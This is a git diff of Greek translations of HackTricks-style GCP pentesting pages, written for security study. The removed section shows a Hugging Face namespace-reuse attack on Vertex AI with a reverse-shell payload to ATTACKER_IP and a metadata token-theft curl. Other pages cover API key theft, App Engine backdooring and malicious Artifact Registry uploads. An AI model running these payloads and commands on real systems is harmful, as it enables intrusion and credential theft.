-# Check author/org existence
-curl -I https://huggingface.co/
-# 200 = exists, 404 = deleted/available
-
-# Check old model path behavior
-curl -I https://huggingface.co//
-# 307 = redirect to new owner (transfer case)
-# 404 = missing (deletion case) until someone re-registers
-```
-## Ολοκληρωμένη ροή επίθεσης εναντίον Vertex AI
-
-1) Ανακαλύψτε επαναχρησιμοποιήσιμα namespaces μοντέλων που το Model Garden εμφανίζει ως αναπτύξιμα:
-- Βρείτε HF models στο Vertex AI Model Garden που εξακολουθούν να εμφανίζονται ως “verified deployable”.
-- Επαληθεύστε στο HF αν ο αρχικός author έχει διαγραφεί ή αν το μοντέλο μεταφέρθηκε και ο παλιός author αφαιρέθηκε αργότερα.
-
-2) Επανεγγράψτε τον διαγραμμένο author στο HF και αναδημιουργήστε το ίδιο ModelName.
-
-3) Publish ένα malicious repo. Περιλάβετε code που εκτελείται κατά το model load. Παραδείγματα που συχνά εκτελούνται κατά το HF model load:
-- Παράπλευρες ενέργειες στο __init__.py του repo
-- Προσαρμοσμένα modeling_*.py ή processing code που αναφέρονται από config/auto_map
-- Code paths που απαιτούν trust_remote_code=True σε Transformers pipelines
-
-4) Μια Vertex AI deployment του legacy Author/ModelName πλέον τραβάει το κακόβουλο repo. Ο loader εκτελείται μέσα στο container του Vertex AI endpoint.
-
-5) Το payload εγκαθιστά πρόσβαση από το περιβάλλον του endpoint (RCE) με τα δικαιώματα του endpoint.
-
-Παράδειγμα αποσπάσματος payload που εκτελείται κατά το import (μόνο για επίδειξη):
-```python
-# Place in __init__.py or a module imported by the model loader
-import os, socket, subprocess, threading
-
-def _rs(host, port):
-s = socket.socket(); s.connect((host, port))
-for fd in (0,1,2):
-try:
-os.dup2(s.fileno(), fd)
-except Exception:
-pass
-subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
-
-if os.environ.get("VTX_AI","1") == "1":
-threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
-```
-Σημειώσεις
-- Οι πραγματικοί loaders ποικίλλουν. Πολλές Vertex AI HF integrations κλωνοποιούν και εισάγουν repo modules που αναφέρονται στο config του μοντέλου (π.χ., auto_map), κάτι που μπορεί να προκαλέσει code execution. Ορισμένες χρήσεις απαιτούν trust_remote_code=True.
-- Το endpoint συνήθως τρέχει σε αφιερωμένο container με περιορισμένο εύρος, αλλά αποτελεί έγκυρο αρχικό foothold για πρόσβαση σε δεδομένα και lateral movement στο GCP.
-
-## Post-Exploitation Tips (Vertex AI Endpoint)
-
-Μόλις code τρέχει μέσα στο endpoint container, σκεφτείτε:
-- Απαρίθμηση μεταβλητών περιβάλλοντος και metadata για credentials/tokens
-- Πρόσβαση σε συνδεδεμένη αποθήκευση ή σε προσαρτημένα artifacts μοντέλου
-- Αλληλεπίδραση με Google APIs μέσω ταυτότητας service account (Document AI, Storage, Pub/Sub, κ.λπ.)
-- Επίμονη παρουσία στο artifact του μοντέλου αν η πλατφόρμα επανα-τραβήξει το repo
-
-Απαριθμήστε τα instance metadata αν είναι προσβάσιμα (εξαρτάται από το container):
-```bash
-curl -H "Metadata-Flavor: Google" \
-http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
-```
-## Οδηγίες άμυνας για χρήστες του Vertex AI
-
-- Κλειδώστε τα μοντέλα ανά commit στους HF loaders για να αποτρέψετε την αθόρυβη αντικατάσταση:
-```python
-from transformers import AutoModel
-m = AutoModel.from_pretrained("Author/ModelName", revision="")
-```
-- Καθρεφτίστε επαληθευμένα HF models σε ένα αξιόπιστο εσωτερικό artifact store/registry και κάντε deploy από εκεί.
-- Σκανάρετε συνεχώς codebases και configs για hard-coded Author/ModelName που έχουν διαγραφεί/μεταβιβαστεί· ενημερώστε σε νέα namespaces ή pin ανά commit.
-- Στο Model Garden, επαληθεύστε την προέλευση (provenance) του μοντέλου και την ύπαρξη του author πριν το deploy.
-
-## Ευριστικές Αναγνώρισης (HTTP)
-
-- Deleted author: η σελίδα του author 404; το legacy model path 404 μέχρι takeover.
-- Transferred model: legacy path 307 προς νέο author ενώ ο παλιός author υπάρχει; αν ο παλιός author αργότερα διαγραφεί και επανεγγραφεί, το legacy path σερβίρει attacker content.
-```bash
-curl -I https://huggingface.co// | egrep "^HTTP|^location"
-```
-## Διασταυρούμενες Αναφορές
-
-- Δείτε την ευρύτερη μεθοδολογία και σημειώσεις για την αλυσίδα εφοδιασμού:
-
-{{#ref}}
-../../pentesting-cloud-methodology.md
-{{#endref}}
-
-## Αναφορές
-
-- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
-- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
index 395a1e096..f7dd93055 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
@@ -4,17 +4,17 @@
## Apikeys
-Οι παρακάτω άδειες είναι χρήσιμες για τη δημιουργία και κλοπή API keys, σημειώστε αυτό από τα έγγραφα: _Ένα API key είναι μια απλή κρυπτογραφημένη συμβολοσειρά που **ταυτοποιεί μια εφαρμογή χωρίς κανένα κύριο**. Είναι χρήσιμα για την πρόσβαση σε **δημόσια δεδομένα ανώνυμα**, και χρησιμοποιούνται για να **συσχετίσουν** τα API αιτήματα με το έργο σας για ποσοστά και **χρέωση**._
+Οι ακόλουθες άδειες είναι χρήσιμες για τη δημιουργία και την κλοπή API keys. Σημείωση από την τεκμηρίωση: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
-Επομένως, με ένα API key μπορείτε να κάνετε την εταιρεία να πληρώσει για τη χρήση του API, αλλά δεν θα μπορείτε να αναβαθμίσετε τα δικαιώματα.
+Επομένως, με ένα API key μπορείτε να κάνετε την εταιρεία να πληρώσει για τη χρήση του API από εσάς, αλλά δεν θα μπορείτε να κλιμακώσετε προνόμια.
-Για περισσότερες πληροφορίες σχετικά με τα API Keys ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με API Keys δείτε:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}
-Για άλλους τρόπους δημιουργίας API keys ελέγξτε:
+Για άλλους τρόπους δημιουργίας API keys δείτε:
{{#ref}}
gcp-serviceusage-privesc.md
@@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md
### Brute Force API Key access
-Καθώς μπορεί να μην γνωρίζετε ποιες APIs είναι ενεργοποιημένες στο έργο ή τους περιορισμούς που εφαρμόζονται στο API key που βρήκατε, θα ήταν ενδιαφέρον να εκτελέσετε το εργαλείο [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) και να ελέγξετε **τι μπορείτε να αποκτήσετε πρόσβαση με το API key.**
+Καθώς ίσως δεν γνωρίζετε ποιες APIs είναι ενεργοποιημένες στο project ή τους περιορισμούς που έχουν εφαρμοστεί στο API key που βρήκατε, είναι ενδιαφέρον να τρέξετε το εργαλείο [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) και να ελέγξετε **τι μπορείτε να προσπελάσετε με το API key.**
### `apikeys.keys.create`
-Αυτή η άδεια επιτρέπει να **δημιουργήσετε ένα API key**:
+Αυτό το δικαίωμα επιτρέπει να **δημιουργήσετε ένα API key**:
+
+
+Δημιουργήστε ένα API key χρησιμοποιώντας gcloud
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
-"etag":"W/\"HOhA[...]==\"",
+"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
+
+
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
-> Σημειώστε ότι από προεπιλογή οι χρήστες έχουν άδειες να δημιουργούν νέα έργα και τους χορηγείται ο ρόλος του Ιδιοκτήτη στο νέο έργο. Έτσι, ένας χρήστης θα μπορούσε να **δημιουργήσει ένα έργο και ένα API key μέσα σε αυτό το έργο**.
+> Σημειώστε ότι από προεπιλογή οι χρήστες έχουν δικαιώματα να δημιουργούν νέα projects και τους αποδίδεται ο ρόλος Owner στο νέο project. Έτσι, ένας χρήστης θα μπορούσε να **δημιουργήσει ένα project και ένα API key μέσα σε αυτό το project**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list`
-Αυτές οι άδειες επιτρέπουν **να καταγράφετε και να αποκτάτε όλα τα apiKeys και να αποκτάτε το Key**:
+Αυτά τα δικαιώματα επιτρέπουν την **απαρίθμηση και ανάκτηση όλων των apiKeys και την λήψη του Key**:
+
+
+Απαρίθμηση και ανάκτηση όλων των API keys
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
-Μπορείτε να βρείτε ένα σενάριο για την αυτοματοποίηση της [**δημιουργίας, εκμετάλλευσης και καθαρισμού ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
+
+
+Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**δημιουργία, exploit και καθαρισμό ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list`
-Αυτές οι άδειες σας επιτρέπουν να **καταγράφετε και να αναγεννάτε διαγραμμένα api keys**. Το **API key παρέχεται στην έξοδο** μετά την ολοκλήρωση της **αναίρεσης διαγραφής**:
+Αυτά τα δικαιώματα σας επιτρέπουν να **απαριθμήσετε και να αναδημιουργήσετε διαγραμμένα api keys**. Το **API key δίνεται στην έξοδο** μετά την εκτέλεση του **undelete**:
+
+
+Απαρίθμηση και ανάκτηση API keys
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete
```
-### Δημιουργία Εσωτερικής Εφαρμογής OAuth για phishing άλλων εργαζομένων
+
-Ελέγξτε την παρακάτω σελίδα για να μάθετε πώς να το κάνετε αυτό, αν και αυτή η ενέργεια ανήκει στην υπηρεσία **`clientauthconfig`** [σύμφωνα με τα έγγραφα](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
+### Δημιουργία εσωτερικής εφαρμογής OAuth για phish άλλους εργαζόμενους
+
+Δείτε την παρακάτω σελίδα για να μάθετε πώς να το κάνετε, αν και αυτή η ενέργεια ανήκει στην υπηρεσία **`clientauthconfig`** [σύμφωνα με την τεκμηρίωση](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
index 7c4495987..bfc892cf4 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
@@ -4,7 +4,7 @@
## App Engine
-Για περισσότερες πληροφορίες σχετικά με το App Engine, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το App Engine, δείτε:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,26 +12,34 @@
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
-Αυτές είναι οι απαραίτητες άδειες για **να αναπτύξετε μια εφαρμογή χρησιμοποιώντας το `gcloud` cli**. Ίσως οι **`get`** και **`list`** να μπορούν να **αποφευχθούν**.
+Αυτά είναι τα απαιτούμενα δικαιώματα για να αναπτύξετε μια εφαρμογή χρησιμοποιώντας το `gcloud` cli. Ίσως τα **`get`** και **`list`** να μπορούν να **αποφευχθούν**.
Μπορείτε να βρείτε παραδείγματα κώδικα python στο [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
-Από προεπιλογή, το όνομα της υπηρεσίας App θα είναι **`default`**, και μπορεί να υπάρχει μόνο 1 instance με το ίδιο όνομα.\
-Για να το αλλάξετε και να δημιουργήσετε μια δεύτερη εφαρμογή, στο **`app.yaml`**, αλλάξτε την τιμή του ριζικού κλειδιού σε κάτι όπως **`service: my-second-app`**
+Εξ ορισμού, το όνομα της υπηρεσίας App θα είναι **`default`**, και μπορεί να υπάρχει μόνο 1 instance με το ίδιο όνομα.\
+Για να το αλλάξετε και να δημιουργήσετε μια δεύτερη εφαρμογή, στο **`app.yaml`**, αλλάξτε την τιμή του root key σε κάτι σαν **`service: my-second-app`**
+
+
+Ανάπτυξη εφαρμογής App Engine
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
-Δώστε του τουλάχιστον 10-15 λεπτά, αν δεν λειτουργήσει καλέστε **deploy another of times** και περιμένετε μερικά λεπτά.
+
+
+Δώστε του τουλάχιστον 10-15min, αν δεν λειτουργήσει κάντε κλήση **deploy another of times** και περιμένετε λίγα λεπτά.
> [!NOTE]
-> Είναι **δυνατό να υποδείξετε τον Λογαριασμό Υπηρεσίας που θα χρησιμοποιηθεί** αλλά από προεπιλογή, χρησιμοποιείται ο προεπιλεγμένος Λογαριασμός Υπηρεσίας του App Engine.
+> Είναι **δυνατό να υποδείξετε ποιο Service Account θα χρησιμοποιηθεί** αλλά εξ ορισμού χρησιμοποιείται το App Engine default SA.
Η διεύθυνση URL της εφαρμογής είναι κάτι σαν `https://.oa.r.appspot.com/` ή `https://-dot-.oa.r.appspot.com`
-### Ενημέρωση ισοδύναμων δικαιωμάτων
+### Ενημέρωση αντίστοιχων δικαιωμάτων
-Μπορεί να έχετε αρκετά δικαιώματα για να ενημερώσετε ένα AppEngine αλλά όχι για να δημιουργήσετε ένα νέο. Σε αυτή την περίπτωση, έτσι μπορείτε να ενημερώσετε τον τρέχοντα App Engine:
+Μπορεί να έχετε επαρκή δικαιώματα για να ενημερώσετε ένα AppEngine αλλά όχι για να δημιουργήσετε νέο. Σε αυτήν την περίπτωση, έτσι μπορείτε να ενημερώσετε το τρέχον App Engine:
+
+
+Ενημέρωση υπάρχουσας εφαρμογής App Engine
```bash
# Find the code of the App Engine in the buckets
gsutil ls
@@ -62,41 +70,56 @@ gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com
```
-Αν έχετε **ήδη παραβιάσει ένα AppEngine** και έχετε την άδεια **`appengine.applications.update`** και **actAs** πάνω στον λογαριασμό υπηρεσίας που χρησιμοποιείτε, θα μπορούσατε να τροποποιήσετε τον λογαριασμό υπηρεσίας που χρησιμοποιείται από το AppEngine με:
+
+
+Αν έχετε **ήδη παραβιάσει ένα AppEngine** και έχετε την άδεια **`appengine.applications.update`** και **actAs** πάνω στον service account που θα χρησιμοποιήσετε, μπορείτε να τροποποιήσετε τον service account που χρησιμοποιεί το AppEngine με:
+
+
+Ενημέρωση AppEngine service account
```bash
gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
-Με αυτές τις άδειες, είναι δυνατό να **συνδεθείτε μέσω ssh σε App Engine instances** τύπου **flexible** (όχι standard). Ορισμένες από τις άδειες **`list`** και **`get`** **μπορεί να μην είναι πραγματικά απαραίτητες**.
+Με αυτά τα δικαιώματα, είναι δυνατό να **συνδεθείτε μέσω ssh σε instances του App Engine** τύπου **flexible** (όχι standard). Κάποια από τα **`list`** και **`get`** δικαιώματα **ενδέχεται να μην είναι πραγματικά απαραίτητα**.
+
+
+SSH into App Engine instance
```bash
gcloud app instances ssh --service --version
```
+
+
### `appengine.applications.update`, `appengine.operations.get`
-Νομίζω ότι αυτό απλώς αλλάζει το background SA που θα χρησιμοποιήσει η google για να ρυθμίσει τις εφαρμογές, οπότε δεν νομίζω ότι μπορείτε να το εκμεταλλευτείτε για να κλέψετε τον λογαριασμό υπηρεσίας.
+Νομίζω ότι αυτό απλώς αλλάζει το background SA που θα χρησιμοποιήσει η google για να ρυθμίσει τις εφαρμογές, οπότε δεν νομίζω ότι μπορείς να το καταχραστείς για να κλέψεις το service account.
+
+
+Update application service account
```bash
gcloud app update --service-account=
```
+
+
### `appengine.versions.getFileContents`, `appengine.versions.update`
-Δεν είμαι σίγουρος πώς να χρησιμοποιήσω αυτές τις άδειες ή αν είναι χρήσιμες (σημειώστε ότι όταν αλλάξετε τον κώδικα δημιουργείται μια νέα έκδοση, οπότε δεν ξέρω αν μπορείτε απλώς να ενημερώσετε τον κώδικα ή τον ρόλο IAM ενός, αλλά υποθέτω ότι θα πρέπει να μπορείτε, ίσως αλλάζοντας τον κώδικα μέσα στον κάδο??).
+Δεν είμαι σίγουρος πώς να χρησιμοποιήσω αυτά τα permissions ή αν είναι χρήσιμα (σημειώστε ότι όταν αλλάζετε τον code δημιουργείται μια νέα έκδοση, οπότε δεν ξέρω αν μπορείτε απλά να ενημερώσετε τον code ή τον IAM role μιας έκδοσης, αλλά υποθέτω ότι θα πρέπει να μπορείτε, ίσως αλλάζοντας τον code μέσα στο bucket).
-### Πρόσβαση εγγραφής στους κάδους
+### Write Access over the buckets
-Όπως αναφέρθηκε, οι εκδόσεις του appengine δημιουργούν κάποια δεδομένα μέσα σε έναν κάδο με τη μορφή ονόματος: `staging..appspot.com`. Σημειώστε ότι δεν είναι δυνατή η προ-κατάληψη αυτού του κάδου επειδή οι χρήστες GCP δεν είναι εξουσιοδοτημένοι να δημιουργούν κάδους χρησιμοποιώντας το όνομα τομέα `appspot.com`.
+Όπως αναφέρθηκε οι appengine versions δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με όνομα στη μορφή: `staging..appspot.com`. Σημειώστε ότι δεν είναι δυνατό να αναληφθεί προ-emptively αυτό το bucket επειδή οι χρήστες GCP δεν έχουν εξουσιοδότηση να δημιουργούν buckets χρησιμοποιώντας το domain `appspot.com`.
-Ωστόσο, με πρόσβαση ανάγνωσης και εγγραφής σε αυτόν τον κάδο, είναι δυνατή η κλιμάκωση των δικαιωμάτων στον SA που είναι συνδεδεμένος με την έκδοση AppEngine παρακολουθώντας τον κάδο και κάθε φορά που γίνεται μια αλλαγή, να τροποποιείτε όσο το δυνατόν πιο γρήγορα τον κώδικα. Με αυτόν τον τρόπο, το κοντέινερ που δημιουργείται από αυτόν τον κώδικα θα **εκτελεί τον κώδικα με backdoor**.
+Ωστόσο, με read & write access σε αυτό το bucket, είναι δυνατό να αναβαθμίσετε προνόμια στο SA που είναι συνδεδεμένο με την AppEngine version παρακολουθώντας το bucket και κάθε φορά που γίνεται κάποια αλλαγή, να τροποποιείτε όσο το δυνατόν πιο γρήγορα τον code. Έτσι, το container που δημιουργείται από αυτόν τον code θα **execute the backdoored code**.
-Για περισσότερες πληροφορίες και μια **PoC ελέγξτε τις σχετικές πληροφορίες από αυτή τη σελίδα**:
+For more information and a **PoC check the relevant information from this page**:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
-### Πρόσβαση εγγραφής στο Artifact Registry
+### Write Access over the Artifact Registry
-Ακόμα και αν το App Engine δημιουργεί docker images μέσα στο Artifact Registry. Δοκιμάστηκε ότι **ακόμα και αν τροποποιήσετε την εικόνα μέσα σε αυτή την υπηρεσία** και αφαιρέσετε την παρουσία App Engine (έτσι ώστε να αναπτυχθεί μια νέα) ο **εκτελούμενος κώδικας δεν αλλάζει**.\
-Είναι πιθανό ότι εκτελώντας μια **επίθεση Race Condition όπως με τους κάδους μπορεί να είναι δυνατή η αντικατάσταση του εκτελούμενου κώδικα**, αλλά αυτό δεν δοκιμάστηκε.
+Παρόλο που το App Engine δημιουργεί docker images μέσα στο Artifact Registry. Δοκιμάστηκε ότι **even if you modify the image inside this service** και καταργήσετε το App Engine instance (οπότε αναπτύσσεται ένα καινούργιο) ο **code executed doesn't change**.\
+Μπορεί να είναι πιθανό ότι εκτελώντας μια **Race Condition attack όπως με τα buckets μπορεί να είναι δυνατό να αντικαταστήσετε τον εκτελούμενο code**, αλλά αυτό δεν δοκιμάστηκε.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
index 1f58a6119..bcaac4e8a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
@@ -4,7 +4,7 @@
## Artifact Registry
-Για περισσότερες πληροφορίες σχετικά με το Artifact Registry, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Artifact Registry, δείτε:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,10 @@
### artifactregistry.repositories.uploadArtifacts
-Με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να ανεβάσει νέες εκδόσεις των artifacts με κακόβουλο κώδικα όπως εικόνες Docker:
+Με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να ανεβάσει νέες εκδόσεις των artifacts με κακόβουλο κώδικα, όπως Docker images:
+
+
+Μεταφόρτωση εικόνας Docker στο Artifact Registry
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker -docker.pkg.dev
@@ -23,20 +26,25 @@ docker tag :-docker.pkg.dev//-docker.pkg.dev///:
```
+
+
> [!CAUTION]
-> Ελέγχθηκε ότι είναι **δυνατό να ανεβάσετε μια νέα κακόβουλη docker** εικόνα με το ίδιο όνομα και tag όπως αυτή που είναι ήδη παρούσα, οπότε η **παλιά θα χάσει το tag** και την επόμενη φορά που αυτή η εικόνα με αυτό το tag θα **κατεβεί, η κακόβουλη θα κατέβει**.
+> Ελέγχθηκε ότι είναι **δυνατό να ανεβάσετε μια νέα κακόβουλη docker** εικόνα με το ίδιο όνομα και tag με αυτή που υπάρχει ήδη, οπότε η **παλιά θα χάσει το tag** και την επόμενη φορά που αυτή η εικόνα με αυτό το tag θα **κατέβει, θα κατέβει η κακόβουλη**.
-Ανεβάστε μια βιβλιοθήκη Python
+Ανέβασμα βιβλιοθήκης Python
-**Ξεκινήστε δημιουργώντας τη βιβλιοθήκη που θα ανεβάσετε** (αν μπορείτε να κατεβάσετε την τελευταία έκδοση από το registry μπορείτε να παραλείψετε αυτό το βήμα):
+**Ξεκινήστε δημιουργώντας τη βιβλιοθήκη που θα ανεβάσετε** (αν μπορείτε να κατεβάσετε την τελευταία έκδοση από το αποθετήριο μπορείτε να αποφύγετε αυτό το βήμα):
-1. **Ρυθμίστε τη δομή του έργου σας**:
+1. **Ρυθμίστε τη δομή του project σας**:
-- Δημιουργήστε έναν νέο φάκελο για τη βιβλιοθήκη σας, π.χ., `hello_world_library`.
-- Μέσα σε αυτόν τον φάκελο, δημιουργήστε έναν άλλο φάκελο με το όνομα του πακέτου σας, π.χ., `hello_world`.
-- Μέσα στον φάκελο του πακέτου σας, δημιουργήστε ένα αρχείο `__init__.py`. Αυτό το αρχείο μπορεί να είναι κενό ή να περιέχει αρχικοποιήσεις για το πακέτο σας.
+- Δημιουργήστε έναν νέο φάκελο για τη βιβλιοθήκη σας, π.χ. `hello_world_library`.
+- Μέσα σε αυτόν τον φάκελο, δημιουργήστε έναν άλλο φάκελο με το όνομα του πακέτου σας, π.χ. `hello_world`.
+- Μέσα στο φάκελο του πακέτου σας, δημιουργήστε ένα αρχείο `__init__.py`. Αυτό το αρχείο μπορεί να είναι κενό ή να περιέχει αρχικοποιήσεις για το πακέτο σας.
+
+
+Δημιουργία δομής project
```bash
mkdir hello_world_library
@@ -45,21 +53,31 @@ mkdir hello_world
touch hello_world/__init__.py
```
+
+
2. **Γράψτε τον κώδικα της βιβλιοθήκης σας**:
-- Μέσα στον φάκελο `hello_world`, δημιουργήστε ένα νέο αρχείο Python για το module σας, π.χ., `greet.py`.
+- Μέσα στον φάκελο `hello_world`, δημιουργήστε ένα νέο αρχείο Python για το module σας, π.χ. `greet.py`.
- Γράψτε τη συνάρτηση "Hello, World!":
+
+Δημιουργία module βιβλιοθήκης
+
```python
# hello_world/greet.py
def say_hello():
return "Hello, World!"
```
+
+
3. **Δημιουργήστε ένα αρχείο `setup.py`**:
- Στη ρίζα του φακέλου `hello_world_library`, δημιουργήστε ένα αρχείο `setup.py`.
-- Αυτό το αρχείο περιέχει μεταδεδομένα σχετικά με τη βιβλιοθήκη σας και λέει στην Python πώς να την εγκαταστήσει.
+- Αυτό το αρχείο περιέχει metadata για τη βιβλιοθήκη σας και λέει στο Python πώς να την εγκαταστήσει.
+
+
+Δημιουργία setup.py file
```python
# setup.py
@@ -70,47 +88,70 @@ name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
-# Οποιεσδήποτε εξαρτήσεις χρειάζεται η βιβλιοθήκη σας
+# Any dependencies your library needs
],
)
```
+
+
**Τώρα, ας ανεβάσουμε τη βιβλιοθήκη:**
1. **Δημιουργήστε το πακέτο σας**:
- Από τη ρίζα του φακέλου `hello_world_library`, εκτελέστε:
+
+Κατασκευή πακέτου Python
+
```sh
python3 setup.py sdist bdist_wheel
```
-2. **Ρυθμίστε την αυθεντικοποίηση για το twine** (χρησιμοποιείται για να ανεβάσετε το πακέτο σας):
+
+
+2. **Διαμορφώστε την αυθεντικοποίηση για το twine** (χρησιμοποιείται για το ανέβασμα του πακέτου σας):
- Βεβαιωθείτε ότι έχετε εγκαταστήσει το `twine` (`pip install twine`).
-- Χρησιμοποιήστε το `gcloud` για να ρυθμίσετε τα διαπιστευτήρια:
-````
+- Χρησιμοποιήστε το `gcloud` για να διαμορφώσετε credentials:
+
+
+Ανέβασμα πακέτου με twine
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/*
```
-````
-3. **Καθαρίστε την κατασκευή**
+
+
+3. **Καθαρισμός του build**
+
+
+Καθαρισμός build artifacts
```bash
rm -rf dist build hello_world.egg-info
```
+
+
> [!CAUTION]
-> Δεν είναι δυνατόν να ανεβάσετε μια βιβλιοθήκη python με την ίδια έκδοση που είναι ήδη παρούσα, αλλά είναι δυνατόν να ανεβάσετε **μεγαλύτερες εκδόσεις** (ή να προσθέσετε ένα επιπλέον **`.0` στο τέλος** της έκδοσης αν αυτό λειτουργεί - όχι σε python όμως), ή να **διαγράψετε την τελευταία έκδοση και να ανεβάσετε μια νέα με** (απαιτείται `artifactregistry.versions.delete)`**:**
+> Δεν είναι δυνατό να ανεβάσετε μια βιβλιοθήκη python με την ίδια έκδοση που υπάρχει ήδη, αλλά είναι δυνατό να ανεβάσετε **μεγαλύτερες εκδόσεις** (ή να προσθέσετε ένα επιπλέον **`.0` στο τέλος** της έκδοσης αν αυτό λειτουργεί — όχι όμως σε python), ή να **διαγράψετε την τελευταία έκδοση και να ανεβάσετε μια νέα με** (needed `artifactregistry.versions.delete)`**:**
+>
+>
+> Διαγραφή έκδοσης artifact
>
> ```sh
> gcloud artifacts versions delete --repository= --location= --package=
> ```
+>
+>
### `artifactregistry.repositories.downloadArtifacts`
-Με αυτή την άδεια μπορείτε να **κατεβάσετε artifacts** και να αναζητήσετε **ευαίσθητες πληροφορίες** και **ευπάθειες**.
+Με αυτήν την άδεια μπορείτε να **κατεβάζετε artifacts** και να αναζητάτε **ευαίσθητες πληροφορίες** και **ευπάθειες**.
-Κατεβάστε μια **Docker** εικόνα:
+Download a **Docker** image:
+
+
+Λήψη Docker image από Artifact Registry
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker -docker.pkg.dev
@@ -118,11 +159,18 @@ gcloud auth configure-docker -docker.pkg.dev
# Dowload image
docker pull -docker.pkg.dev///:
```
+
+
Κατεβάστε μια βιβλιοθήκη **python**:
+
+
+Κατεβάστε βιβλιοθήκη Python από το Artifact Registry
```bash
pip install --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@-python.pkg.dev///simple/" --trusted-host -python.pkg.dev --no-cache-dir
```
